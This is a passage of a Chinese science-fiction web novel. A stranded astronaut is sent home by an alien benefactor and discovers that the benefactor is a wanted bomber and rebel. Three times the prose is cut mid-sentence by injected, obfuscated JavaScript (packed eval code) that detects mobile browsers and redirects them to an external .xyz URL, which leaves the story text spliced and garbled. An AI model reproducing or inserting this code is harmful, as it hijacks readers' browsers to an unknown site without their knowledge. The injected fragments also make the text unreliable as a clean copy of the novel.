他嘴巴上说着贵,眼珠子却一直往豪华礼服上靠,盘算要不要问点与文化有关的内容。 伊西多尔道:“不贵。这都是其他我超级加倍的祖父亲们的骨头的灰。” 钟章:……? 等一下,你在说什么?超级加倍的祖父亲?骨头的灰? 钟章大脑飞速旋转,对这些语言残骸进行重组,欲言又止,止又欲言,“那个。” 超级加倍的祖爷们难道是指“祖先”这个词汇吗? 骨头的灰是指“骨灰”吗? 那伊西多尔刚刚说的话岂不是“这是我一些祖先们的骨灰?”他刚刚差点把朋友的祖宗十八代穿在身上吗? “嗯。对的。”伊西多尔拍手对聪明的外星朋友表达鼓励,“也是,烧掉的尸体变成的石头。” 钟章捂着脸,一时间想不出要接什么话。 好强大的文化差异。 好强大的文明状态。 “会不会很冒犯?”钟章对伊西多尔道:“就是对你的超级加倍的祖父亲们不礼貌。” 伊西多尔摇摇头,轻松地说道:“他们已经没有胸了。你随便看。” 钟章完败。 他屈服给伊西多尔,穿着对方的祖宗十八代在一面“镜子”前转来转去,越看钟章越觉得自己真是幸运到了极点,之前因宇宙辐射略长雀斑的脸都养得干净了不少。 “伊西多尔。伊西多尔。”钟章道:“太重了。超级加倍的父亲们太重了。” 伊西多尔道:“脱。” 钟章想在伊西多尔面前脱。 他才迈出半步,脚下吸溜滚过一个果泥。半透明的幼崽气鼓鼓地看着他,下巴都鼓没了。它发觉钟章也盯着自己,威慑地呲牙哈气,还不忘发出点稚嫩的鼻音,啪叽啪叽滚开了。 滚之前,小果泥还不忘踩一脚这个坏东方红。 徒留下钟章看着打湿了的礼服下摆:? “伊西多尔伊西多尔。”钟章马上开始告状,“果泥把衣服踩脏了。” 伊西多尔道:“没事。” 友好的外星朋友看上去是如此稳重,钟章觉得自己之前的美人计可能不够猛。当然,他并非是以最坏结果去揣测对方,他只秉持老祖宗“先下手为强”的理念——万一伊西多尔真的是坏的,他钟章也要用自己的个人魅力让伊西多尔迷途知返。 钟章就是这样一个自信,知道自己有点小帅的人类男性。 小学二年级,全班同学写自己要当医生、科学家、工人时,钟章在作文里写自己要当假面骑士主角、要去抓宝可梦,他要当小说里的天命之子。 老师让他上台朗诵这篇充满想象的作文,钟章也毫不逊色,大大方方上前,声情并茂,眉飞色舞说,“我以后一定要拥有自己的变身器。我还要开机甲。” 因为太有感情,往后每次需要念课文,老师都叫钟章起来。 不过无所谓,磕磕绊绊长大的钟章坚信自己心想事成。 伊西多尔这位外星朋友,他交定了! 至于怎么交?先别想这么多了,先用我丰富的肢体语言吸引他的注意力,再用我丰富的表情和他无障碍沟通,最后用我的真诚、坦率打动我的朋友。 计划通! 钟章道:“昨天的事情,我没有想欺负果泥。” 伊西多尔:“嗯。” 钟章手舞足蹈道:“果泥好像对我有很大的意见。” 伊西多尔:“嗯。” 钟章咬咬牙,再加把力,“伊西多尔,你不会因为果泥不理我吧。” 伊西多尔不语,茫然地看着钟章。其实他刚刚根本没有钟章在说什么,他在走神,只是基于对东方红朋友的信任,一直在嗯嗯嗯。 “没有不理你。”伊西多尔简单解释道:“我在想,怎么送你回家。” * 伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450555|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西多尔有自己的行程。 他捡到钟章,之后稍稍停留一下给对方购买面之类的他们能吃的口粮,又继续按照自己的原定路线出发。 原本,他想着自己帮钟章修复好那个老航空器,再给对方一些食物与保命用的设备,双方有缘再见即可。 可几天相处下来,伊西多尔意识到让钟章自己走回去是很不现实的。 钟章不会他们这里的语言,翻译器的范围有限,一旦钟章中途遇见什么不法分子,几乎分分钟会被送到研究所。 钟章驾驶的烛龙舱设备太老,重新修好也不一定坚持到他顺利回家。而自己送钟章机甲,看钟章那满头大汗的训练速度,至少得花3年时间学习怎么驾驶机甲。 而除去语言和出行设备这两样,钟章还看不懂伊西多尔给他的星图,不知道怎么分辨潜在的黑洞和微小的太空垃圾。 他那无知的状态,让伊西多尔一头雾水,“这些你都不会,你是怎么在太空里活下来的。” 钟章:“运气好。遇到你,没死。” 伊西多尔觉得也对。 可钟章这么一说,这么一相处,他就越发担心对方的脆皮状态:好不容易见到一个活着的东方红族,就这么死掉岂不是太可惜了。 “这要怎么办?”伊西多尔发愁道:“你自己出去,很会死啊。” 钟章凭借那些一知半解的中文翻译词和他不耻下问的姿态,已经能熟悉使用外星世界的日用品了。面对外星朋友的忧愁,他一边调制外星产面膜敷脸上,一边安慰对方:“没关系啊。能遇到你,已经是我最幸福的事情了。” 很多委婉的词汇翻译不过来,只能这么说了。 钟章也逐渐适应这种直白的表达。 天知道,他看到爱心图案也被翻译过来时那种难以言表的喜悦。有些话太复杂了,说不出来,钟章就用双手比一个爱心,在胸口疯狂咚咚以展示自己的激动、喜欢、难以言喻等情绪。 短短一周,他已经进化成默剧大师啦! 钟章很自豪自己的进步。 这几天开屏之余,他提出想看一些外星世界的生活常识,以更好地生活在伊西多尔身边。 “你会离开。”伊西多尔不理解,但依旧给钟章找适合的生活日常科普片。他自己继续苦恼怎么送什么都不懂什么也不会的钟章回家。 他道:“你以后,要回家的。” 钟章道:“可我现在和你生活在一起啊。” 伊西多尔还是不理解。 有时候,他独自在驾驶室与各种机械待在一起。智能助手倾听他对东方红族的苦恼,给他推荐一系列外族间谍的片子。 “说不定他是一个邪恶的外星人。”智能助手用机械的声音分析,“他察觉到您的善良,正在利用你。” 伊西多尔想想对方那艘烛龙舱,想想对方那可怜的科技发展速度,释怀了。 “他那么弱,能利用我到什么地步呢?”伊西多尔道:“我只是犹豫要不要送他回去。我以为他能学会开机甲,可是……” 钟章开机甲的技术真的很菜。 8. 第八章 第八章 没有人能抗拒开机甲。 钟章也是。 他在外星朋友对自己好的这几天中,持续探索这个未知的外星文明。先从外星日用品上了解他们的基础科技,再阅读他们的幼崽早教书,最后尝试一步一步接近那些超出人类认知的科技。 例如,他已经知道伊西多尔在自己身边安置了辅助方形机器人。那个机器人沉默无言,非必要不会出现在自己的视野中,钟章是自己在墙上扣扣搜搜,把这东西找出来,敲敲打打,又是找伊西多尔要许可,又是自己琢磨怎么用。 “和外星机甲是完全不同的运行逻辑。”钟章用手指在方形机器人上戳戳,他通体都是屏幕,钟章手指戳到哪里,哪里就崩出一些乱七八糟的符号。 钟章猜测这些可能是外星文明的代码。 用人类的电子科技和写代码技术是没有办法重新编写和破解的。但钟章依旧凭借自己的图形能力和解构能力,尝试怎么按出来,就怎么按回去。 他想起自己驾驶机甲时看到的几行字。 “……应该是这几个图案。”钟章尝试打出关机这个程序,“换算成计算机语言,就应该是‘退出’‘息屏’的指令。” 外星文明的机甲按照体型大小可以分为外骨骼、地面机甲、太空机甲三个类型。 按照启动模式,则可以分为生物、机械、精神力、复合四个类型。 生物机甲,需要外星人自己的基因才可以启动。 精神力类机甲在伊西多尔他们世界也是非常小众的一类,钟章最开始还想试试看自己有没有星际文里的“精神力”,可惜试了大半天,机器也没有任何动静。 而结合前三者,变化多样的复合型机甲,钟章大半也开不了,有些是不允启动,有些是启动后没有办法链接到驾驶员身份。 最终,钟章只能去开外星文明的古早机械机甲。 他登上去,还没有来得及开心自己成为机甲驾驶员,就发现人类的力气根本推不动机甲推杆,更别提开机甲了。哪怕伊西多尔后面帮他找了一架小型地面机械机甲开,钟章推七八次,手就开始抽筋了。 而机甲才刚刚学会摔跤,走路都没走两步。 出师未捷身先死啊,钟章啊钟章啊,机会就在你面前,你怎么可以这么不争气?钟章恨自己学不会开机甲,但他从不泄气,转头去研究机甲里各种各样的文字,试图再摸底外星文明的科技水平。 效果显著。 能考上研究生的人终于拿出匹配他身份的智商:钟章成功打开方形机器人的后台,在里面逛一圈,又重新盖上离开对方。 他记住了里面出现的所有外星图文,以及他们的中文翻译。不管后面是否能够回到地球,钟章都不会忘记这段图文——他牢牢的记住,牢牢的记住,等待回家后找科学家们一起破解。 这么做的意图很明显,后果也很明显。 不用等到第二天,钟章进入再合上方形机器人后台没十分钟。伊西多尔便做出了决断,双方展开第一次“回家”面谈。 “你很聪明。”伊西多尔看着钟章,无奈道:“可是你很弱。不要再这样。” 钟章道歉。 不过下一秒,他听到伊西多尔给他的回家方案。 “我想。把你放在一个飘来飘去的太空球。”伊西多尔投影出一张图片,“里面塞上食物、防护罩。你可以安全回家。” 之前钟章想要的疗愈舱、磁悬浮盘子,伊西多尔倒不会吝啬这些东西。只不过他会往里面设置了定期损坏的装置,等钟章就算带着这些科技产物回到他的家乡,就会发现这些装置因时间、不同星球之中的重力和引力,启动自毁装置,成为一堆废铁。 这些科技造物能够保护钟章顺利回家。 它们的使命就是这个,再无其他。 不过比起被打开单个后台的机器人。伊西多尔更关注另外一件事情,“你会写程序?” 钟章现在肉眼能看到的文字,应该都是东方红族的文字才对……难道他在不到一周的时间里,自己学会如何编写机器程序? 伊西多尔在大脑里回放一遍自己给钟章的早教文本。 里面没有任何与科学有关的内容。伊西多尔给钟章看得更多是一些常识:例如要怎么穿衣服,要怎么遵守交通规则等等。 伊西多尔绝对没有给钟章看过任何有用的理工类知识。 他深知自己不应该插手,也不应该介入另外一个文明的因果中,甚至,他当初就不应该救对方,也不应该送对方回家。 ——可是,这是雄父生前最后一项工作。伊西多尔又一次想起那场面,面容温柔。他深知他可能有一点移情。但见到与雄父有关系的事物,他允许自己稍微的心软一点。 让这个东方红族安全回家吧。 伊西多尔想着。 他自己也感觉到,面前这个东方红族被自己威慑后,就频繁朝自己暴露出好意。 暂时,伊西多尔懒得分辨东方红族这种好意到底是什么意思,是出于对威慑产生的怯懦的好意,还是出于救命之恩的好意,又或者是对强大科技的仰慕之意。 伊西多尔对钟章有一些可爱的好感。 但当他看到钟章打开机器人的后台,和往常一样对整个物品进行探索,费尽心思研究如何得到外星科技后,他内心生出一种微妙的危机。 钟章的好奇心和探索欲实在是太强了。 他的分析能力、图形理解能力也很强,他对任何事物的接受能力都超出寻常的强大。 他一定是他们种族的天之骄子。 如果他继续跟着自己,参与自己炸政府大厦炸基因库炸军部基地的行动,迟早会在虫族中暴露身份,继而引发一部分战争狂热分子开启征服战争。 到那时整个东方红族及他们的星球那就完啦! 分析完利弊,伊西多尔就完全舍弃亲自送钟章回家的想法,仅仅是稍微挪后几天自己的计划。 他当然很想去看看雄父最后一个项目的诞生地,去亲眼看看雄父病榻缠绵时还努力破解的语言发源自哪里。 可他不炸那个傻卵政府大厦,不炸那个傻卵基因库,不炸那个傻卵军部基地,不炸雄虫协会那群吊东西,不炸那群上门对着他雄父说风凉话的家伙,心里是不会舒服的。 所有谋害他家族的狗畜生,全部都得精准地挨一遍炸。 这是,他,伊西多尔自己的事情。 与其他种族没有关系,与其他生物,与钟章统统没有关系。 “你。”伊西多尔板起脸,一改之前的风格,严肃道:“进去。滚。” 正在思考自己道歉力度是不是不够,是不是要继续加强的钟章:? 等一下,这个意思是生气吗?可是听语气好像不算。 “伊西多尔。我。” 伊西多尔不管钟章说什么。他是个很容易心软的家伙,一旦真的下了决定就犟得可怕。他端起果泥所在的餐盘,用手把小果泥的脸颊肉揪下一小块,揉搓成个汤圆大的凉粉丸子塞给钟章。 “拿。” “啊?等一下。”钟章顿感不妙。他还没说什么,伊西多尔一个响指,四面八方的墙壁一折一折后退,天花板和地板收起,原本处于屏幕中的巨大球形太空舱渐渐去,以实物的形态出现在二人面前。 治疗舱。食物。磁悬浮盘子。外星衣物。 各种钟章提起过的东西、没提起过的东西一个一个往上搬运。伊西多尔单手抱起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450556|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟章,一个翻身跳下舰桥,快步朝着太空舱而去。 越靠近太空舱,钟章越能发现那巨大的科幻造物是用烛龙舱改造而成的。之前一切亲昵又梦幻的泡沫终于被戳破。 这里是外星世界。 钟章大叫起来,“伊西多尔。伊西多尔。你先放我下来。我错了什么。我们好好说好不好。” 之前他也开过对方的机械造物,但没有见过伊西多尔这样的表情。 不。其实比起这种表情,感觉还有更加严肃的事情促使伊西多尔放弃自己,选择另外一件更加重要的事情。 钟章还要继续说点什么。一阵头晕目眩,他被塞到太空舱中,只看见伊西多尔关上舱门的冷酷身形。 “伊西多尔。” 钟章不明白自己做错了什么。明明他提前问过伊西多尔可不可以拆那个机器人,也得到了肯定的答复。 为什么自己拆完后完好的装进去,伊西多尔反而变了一副嘴脸? “伊西多尔。”钟章冲到关闭的舱门前用力捶打,“伊西多尔。有什么话我们不能说的?我做了什么?伊西多尔伊西多尔。” 伊西多尔没有回答。 舱内,悄然无声。 钟章用手去拧门上的门阀,却发现这东西已经从外部被锁死。他用肩膀去撞,在门边试图分辨哪一个才是开门的设备,屁股下的地面却已经剧烈运作起来。 整个太空舱开始发动,被遮盖的舷窗一扇一扇暴露出来。钟章连滚带爬贴在舷窗上,用手拍打玻璃,“伊西多尔——伊西多尔——” 为什么啊? 你至少得让我死个明白吧。 钟章渴望地望着自己决定交心的外星朋友,心中的委屈简直难以言喻。非要形容,他感觉自己就是一只被擅自捡回家,洗干净吃饱饭住上奢华狗窝的迷路小狗,好日子没过几天又被主人一脚踹出去继续流浪。 ? 为什么啊?伊西多尔,你至少得让我知道我做错了什么吧。 窗外,伊西多尔抱着呼呼大睡的果泥,逐渐变成一个小小的黑黑的点。钟章眯起眼睛试图看清楚外星朋友最后是什么表情,“啪”一声,整个太空舱剧烈颤动下。钟章被一股力摔飞到天花板上,头昏脑涨抓住条安全带,勉强把自己捆住。 至此,他重新回到了太空。 伊西多尔不要他这个朋友了。 钟章心中再伤心下,收拾自己的伤春秋悲,开始熟悉整个太空舱。黏在他衣服上的那团小果泥软趴趴往下掉,没一会儿变成个饼状,融入到航空舱的地板上,激起一片亮起的涟漪。 【您好。东方红族。】 一阵温柔的声音传来。钟章猛地转头,在他后方,一束室内光组成的类人型存在正在发出声音。 【自我介绍一下。我是智能模组“阿弗莱希德”的远程分身。依照您们东方族的语言习惯,您可以称呼我为“温先生”。】 光束逐渐稳定。钟章瞪大眼睛,看着那光束中出现的“人”。某一瞬间,他觉得这是小果泥长大之后应该有的形象:白发、背后垂落这蝶类的双翅。可他再仔细看看,又觉得小果泥那个胖崽绝对不可能长得如此美。 “温先生。”钟章拘束地打招呼,“你好。” 【你好。】温先生微笑着,回答道:【接下来一段旅程,我将遵循主控制的指令,为您规划一条回家路。如遇到任何技术问题,都请呼叫我。现在,请您查收我为您规划的路程。】 十分钟后。 钟章看着自己手中这一份需要穿过太空坟场、辐射带、行星环,最后在一个名为“戴遗苏亚”引力洞前进行存活率仅有30%的空间跳跃的路程方案,打出一个大大的问号。 他真的能活着回家吗? 9. 第九章 第九章 车到山前必有路。 钟章都到这个地步了,只能赶鸭子上架了。他短暂封存自己与伊西多尔的所有过往,开始研究被伊西多尔改造过的太空舱。 【有什么需要帮忙的吗?】 钟章不知道为什么,看到温先生那张脸就紧张。他自认为在地球时也见过不少帅哥俊女,可看到温先生露面,舌头就打结,浑身上下都紧张起来了。 “有的。”钟章不懂就问,从不装懂,也从不扭捏。他指着路线规划上“驾驶机甲”那一行问道:“伊西多尔好像没有给我机甲。这个要怎么办?” 【烛龙舱已经改造为‘烛龙机甲’。】温先生温和地解释道:【届时将由我代为操控。】 “我可以自己开吗?”钟章不死心道:“你能联系到伊西多尔吗?我到底做错了什么?” 温先生回答道:“十分抱歉。您不能自己驾驶机甲,‘烛龙’所携带的机甲专属燃料有限,为确保您能顺利回家,建议有我来代为操控。”片刻后,他回答钟章的第二个问题,“我暂不能联系伊西多尔先生。我也不认识伊西多尔先生。请您专注自己的回家之路。” 啊?不认识伊西多尔?怎么可能? 钟章又问了好几个问题。 能回答的东西,温先生全部说。不能回答的东西,不是“我听不懂您的表达”,就是“我无法告知您。” 钟章了然。 他自然科学问了,生命科学问了,人文社科问了,数理材料医学什么乱七八糟但十分关键的东西都问了。 只要和科学技术沾上一点边,温先生就和和气气地婉拒他。 伊西多尔暗地里也有这个意思,不然连自家的名字都给屏蔽了。 ——到了此时此刻,钟章从没有想过是因为自己念不对人家的名字。 “我想去附近的城镇买点东西。”钟章提出意见,“在此之前,希望温先生可以帮我整理一下烛龙舱上的物资,以及附近适合购物的地点。” 【好的。钟章先生。】 温先生闪烁几下,消失在光束中。几乎是同一时间,一道光屏横在钟章眼前,一条一条将烛龙舱上的食物、燃料、武器、高科技产品列出来。 钟章一条一条阅读着,很快做出了自己的决定。 “我想去这个‘基因库’管辖下的地点购买一些医疗物品。”钟章问道:“请问能够帮我罗列出一些合适的医疗物资吗?” 【当然可以。】温先生并没有再出现,而是转化为一道地面光标,指引钟章来到一处柜子面前,【主控室为您提供了十万元的基础购物费用。】 光标变得细长,引导钟章打开。 温先生道:【那是一张不记名的低额消费卡。主控室已经为您登记好‘外星宠物’身份。您可以凭此身份自行购买合适的商品。】 * 翻译中,伊西多尔所在的种族被翻译成“虫族”。 钟章很不理解。 他曾经哄着小果泥给自己看看翅膀,可惜小果泥还记恨他偷偷告状说话不算话的事情,一听要看翅膀就薅头发把翅膀藏起来。钟章只好自己盯着伊西多尔琢磨,但他怎么看,都没觉得伊西多尔身体有哪一点和“虫”类似。 伊西多尔实在是太像人类了。 而来到港口,烛龙舱停靠在规定位置,温先生代为付费后。钟章看到自己脖子上那戴着的项圈闪了闪,再凑到舷窗处,玻璃上模糊倒影出一串数字。 【消费额度已经倒入您的身份证明中。】温先生提醒道:【请注意安全。如遇到任何危险,请呼唤我。】 钟章深吸一口气,记住所有安全事项和可能突发的状态,一个蹦跶下了舱。 他戴着呼吸面罩,身上还背着专供的氧气瓶。身上穿着凝胶质地的胶衣,头发也包裹得严严实实,活像个穿着潜水服走在大街上的怪咖。但和周围各种服装各类语言的“人”比起来,他又显得很正常。 有人根本没怎么穿,只套个裤衩坐在路边抽烟喝一种粘稠的饮品;有的人在脑袋上打开一把莹黄色空气伞,淡淡的烟雾从伞骨垂落下,谁也看不清他的真面目;有的人则穿着露背装,一双大翅膀定期打扫周围插队的人群,扑棱扑棱的磷粉在半空自燃起来,弄得到处都是火。 “你能不能把翅膀收起来!” “这里不准打开**。” “狗****叫什么。” “你在教我做事?” 各种声音从各个方向传过来,中间虽然有些消音和模糊字句,但整体钟章都听得懂——他比先前更加惊讶了。因为伊西多尔和小果泥至始至终都是用同一种语言与自己沟通,钟章预计这是一种双语翻译器。 可到了这个混乱港口,他听到的强调、词句、发音模式少说有七种,而每一种语言都能顺利通过翻译器,直译成中文进入钟章的大脑。 这回骗小孩骗得值了。 钟章小心避开那些吵着吵着打起来的外星人。他沿着大道,按照温先生的指引,来到预定计划购买的商场采购药物。 和港口的吵闹不同,写有“基因库”三个大字的商场渗着一股冷意。在这里,没有人大声喧哗,也没有人随意嬉闹,所有人都是板着脸工作,整个大厅好像开了消音功能。 钟章以为自己外星人会得到一些特别待遇,结果也没有。 招待他的工作人员只让他签字,对着一个孔看了两秒钟,便让他去一边等着提货。这等待时间全留给钟章认路了,他专门挑人多的地方观察,不钻进去,就在边上观察。 “还没有抓到吗?” “……估计早就给***了。” 两个穿着统一服饰的人走过来。钟章跟着他们走,前方出现一块类似轮转大屏幕的光幕,从三米高的地方挂下来,循环播放着一张脸。 钟章呆呆看着那张脸,嘴巴越张越大。 “唉。你说怎么就会这样呢?”那两个穿着制服的人还在聊天,“本来就说好了,温格尔阁下自愿捐赠尸体给我们。大家都是开开心心签协议的,何必把事情弄得这么难堪呢?” 他们停下来,就在那光幕底下,仰头去看上面那张脸。 伊西多尔的脸。 “金子又**高了啊。” “我知道,星星偷那边已经全力抓捕他了……这下他别想靠他那个雌性的父亲的朋友们*出去了。” “两年,再不抓到。蝶族长老会脸真的没有了。” 钟章已经无瑕顾及其他,那些声音在他耳朵中逐渐模糊,最后化为光幕里发出的一板一眼的念诵声。 【雄虫协会通缉令。通缉对象:序言。罪名:残害雄虫。】 【军部通缉令。通缉对象:序言。罪名:逃役、爆炸纵火。】 【政府通缉令。通缉对象:序言。罪名:殴打星球长等十数名行政人员、炸毁地区资料档案室、拒捕。】 【基因库通缉令。通缉对象:序言。罪名:盗窃尸体罪。侮辱尸体罪。抢劫罪。】 【蝶族长老会通缉令。通缉对象:序言。罪名:爆炸纵火(烧毁蝶族长老会主会所、行政宫)、暴力寻衅滋事(殴打蝶族长老会第一、第二、第四、第七、第八、第九长老)、拒捕、私造军火流水线、发动战争罪。】 已经五个了。后面居然还有一个。 钟章倒吸一口凉气,用两根手指撑着自己的太阳穴,继续往下读。 【皇室通缉令。通缉对象:序言。罪名:殴打虫皇使者、辱骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450557|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇室、皇宫纵火未遂、炮轰皇宫、刺杀虫皇未遂、刺杀皇室继承者(2个)成功】 ……已经不用去看那些悬赏金到底有多少个零了。 钟章头上的冷汗快成瀑布了。 他甚至来不及去想“序言”到底是不是伊西多尔。 因为经过一周的刻苦学习,他对这个所谓的“虫族”政.治体制有了大概的了解:这里既不是帝国制,也不是联邦制,而更接近一种混合多种政体的分封制。 没错!这里居然是星际分封制。 皇室约等于周天子。蝶族长老会约等于一个封国,后面什么政府、军部又是很混乱的叠加上去的很像联邦制的东西,但他们加在一起早就是成为整个种族的实际统治者。 而在地方上,各种长老会又占据绝对上风。他们不仅拥有自己的税权,还有自己的军队、掌管自己领地上的商会。 在一部分行业上,例如他们这个什么雄虫协会和基因库又掌握了全民的生殖与医疗权利。基因会名下的医生甚至拥有随时射杀医闹患者的权力,每个医学生的第一样入学礼物就是热武器大礼包和武器许可证,从根源上杜绝医闹的可能性。 可以说,光弄明白这个体制大概是怎么回事,就花了钟章三个小时。 他看着满满一墙的通缉令,再结合自己理解到的外星文明知识,嘴巴久久没有办法合上。 所以,伊西多尔。 我亲爱的外星朋友,您是怎么做到在刺杀周天子、殴打一球之长、殴打一个省全部领.导班子、炸毁资料库、私造军火还试图发动战争后,对我说出“他们不是好东西。”这句话。 钟章擦擦冷汗,忽然觉得不对。 哦。伊西多尔当时没说“他们不是好东西”,他说的是“我们不是好东西”。 怪诚实的,朋友。 那么……伊西多尔真的不会入侵地球、殖民全人类吗?钟章开始严肃地思考这个问题。但很快,他想到伊西多尔只有一个人,而全地球有36亿乃至更多的人类。 嗯。 优势在我。 而且弄清楚伊西多尔的恶名后,自己要更努力带点外星科技回去,所有人一起群策群力面对未来可能到来的危机。 钟章下定决心,刚抬起脚,窗外猛然一黑。 巨大的纯黑色方块从天而降,伊西多尔的声音炸响在整个商场上空,“基因库的萨拉斯——狗屎的傻卵!出来挨打。” 【检测到序言正在说脏话。】钟章脖颈上的项圈闪烁起来,温先生略有不快地说道;【已进行消音程序。东方红族先生,请马上远离第一危险源。】 钟章转身就跑。 “温先生!什么叫第一危险?”钟章大叫道:“哇——他冲进来了。他冲进来了。我靠。” 伊西多尔目标明确开着机甲捅破商场防护罩,砸烂人家二楼玻璃,拖出一个看上去很像领导的家伙,手臂抡圆,左一个巴掌右一个巴掌地扇对方。 “以为躲到这么偏的地方,我就找不到你了吗?狗屎玩意(哔哔——)(哔哔)(哔哔哔哔哔)我今天打不死你,我就不是(哔哔——)(哔哔)的种。” “还敢反抗!我真是(哔哔——)(哔哔)(哔哔哔哔)。” “以为老子身上的(哔哔)星盗血统是吃(哔哔)的吗?逃啊。我倒要看看你个(哔哔)能跑到哪里去(哔哔)(哔哔哔哔哔哔)。” “(哔哔)(哔哔哔)我(哔哔哔哔——)(哔哔)你(哔哔哔)。” 第一危险源首次向外星朋友展示自己丰富的语言素养。 【在沟通没有障碍的情况下,我们序言是个很健谈的孩子。】温先生担忧地向钟章解释道:【你知道的。他脾气一向很好。】 10. 第十章 第十章 伊西多尔原来叫序言吗? 那……序言脾气好吗? 钟章当然能说,序言脾气好了。毕竟序言对他不仅仅是救命之恩,还是慷慨的朋友——瞧瞧这些他要带回家的高科技伴手礼——序言在他们本地素有恶名?那和我地球来客有什么关系? 钟章尝试跟着温先生念“序言”这两个虫族音。然后,他发现自己说不出来,念来念去,还是伊西多尔这四个字最标准,有种用中文给英文注音的美感。 钟章认栽了。 “是的。”钟章十分给面地夸赞道:“伊西多尔简直是我见过脾气最好的外星人。” 温先生满意地点点头,全然忘记钟章那不标准的发音,也忘记迄今为止就只见过这一个外星人。 【东方红先生。请您注意安全。】温先生恢复到平静的语调,提醒道:【接下来,可能会发生一些小小的爆炸。如有需要,我将驾驶‘烛龙舱’来接您。】 钟章满口答应,转身就跑。 不过他还记得自己花钱购买的那些药品,在温先生的指路下飞速杀到领取窗口,分辨哪些是自己下单的商品。 这个?这个?还是这个? “你在找什么?”窗口旁边一个举着什么东西记录的蓝大褂古怪地看着钟章,“现在不躲起来吗?” 钟章不认识对方,顺口就回,“找药。你呢?怎么不躲起来。” “哦。”蓝大褂继续拍摄道:“上面挨打的是我领导。我在下面休息一下。” 钟章:? 啊?你们外星人对自己的领导也这么怨气深重吗?不会吧。这东西难道是全宇宙通用的吗? 蓝大褂似乎看出钟章的想法,从口袋里掏出一根烟递过去,友好地笑笑:“看那老狗不爽很久了。自己不好下手,以后还要跟着对方干活呢。” 伊西多夫,不对,序言就不一样了。他打完就跑,通缉令那么多也不吝啬再多一张。 蓝大褂自己点上火。他那动作和地球上抽烟的动作太相似,钟章看他将那类似打火机的东西凑过来,硬着头皮也点上。 “哈哈。”他打着哈哈,垂下眼眸,盘算怎么快点离开这里,“难怪这么久都没其他事——” 远处轰轰轰传来一列爆炸声。地面与墙面相继迸发出颤动,堆叠好的药品一层一层坍塌下来,地面鼓起类似泡泡的膨胀物,将药品一一接住。 蓝大褂还在享受烟雾。 那些缭绕的烟雾与钟章手中一直点着的长条烟草混合成一团,极淡的晒干的草木气味抽出来。钟章先察觉到视物周边有些模糊,接着太阳穴一阵抽疼。 被发现了?!什么时候的事情? 钟章甩掉手中的长条烟,不要任何犹豫,马上呼叫,“温先生。” 蓝大褂冲其面门而来的手与一层柔和的光对冲在一起,对方被轰出去三四米远,飞身到墙面,双脚一蹬,加速冲过来。 【方案一:呼叫序言。】 【方案二:操作烛龙舱前来救援。】 “方案二。”钟章果断做出决断。他一边依仗那层光罩,一边朝着印象中的出口跑。那蓝大褂几乎是展现出超人的速度,发觉短时间无法突破这层光照后,单手侧打开一把激光长刃,甩向廊道某处。 顿时,四周警铃大作。 被序言按着揍的某个领导破口大骂,“我**刚刚你怎么不启动。”序言拎起又是两拳,打得对方最后一颗牙也崩掉,才皱眉看向警铃所在的位置。 他好像看到了那个东方红族……好像是闹钟? 算了。自己给了对方那么多保命设备,晚一点再去救他。序言有自己的事情要去干,他丢掉手中这个脸如猪头的东西,看着面前原本属于他、他所属家族的一切。 家族的一切,与其被仇敌占据,被杀父仇人拿去享用。 不如—— “全部炸飞吧。”他一挥手,更加强烈的爆破声从各处传来,无数地面机甲也朝着他所在的位置奔涌而来。 蓝大褂继续不管不顾地追杀钟章。 原本四通八达的走廊在那一声警铃后,开始闭合,一盏一盏灯快速熄灭,一扇一扇门窗自动闭合。钟章一睁眼一闭眼,蓝大褂嘿嘿的笑声就在他屁股后。 “你是外星种族吧。” 钟章汗如雨下,“不是。” “别装了。”蓝大褂一弯腰,背后两管五厘米粗的类雷.管的武器对准钟章的光罩,火光蓄力中。他声音带着狂喜,“购买药物时,你的瞳孔留下记录。那可不是我们的生物瞳纹。” 钟章死不悔改,“说不定我是基因变异了。” “那更有研究价值了。”蓝大褂微微一笑,两发炮接连轰在光罩上,强大的冲力让钟章脚下踉跄,直接滚出去□□米远,整个人撞在封锁的墙壁上。 他听到自己肋骨断裂的声音,脚踝也传来痛感,估计是崴了。 “温先生。” 钟章觉得当初就应该先要一套外骨骼。哪怕外骨骼需要根据地球人体质改造和调整,他也该老老实实等序言改完,死皮赖脸求序言再让自己呆一下。 不要脸算什么?被外星人拿去当成实验材料才是真正的可怕。 【东方红先生。请稍等。】温先生的语气永远不急不慢,【正在为您规划路线。】 蓝大褂近在咫尺。 他单脚踩在那面光罩上,激光长刃不知何时已经回到他的手中,指着钟章脖颈上的项圈道:“我劝你还是早点束手就擒。否则,你的主人也会因私藏非法外星宠物而坐牢——嗯,也可能是以携带外来生命体的原因被枪毙。” 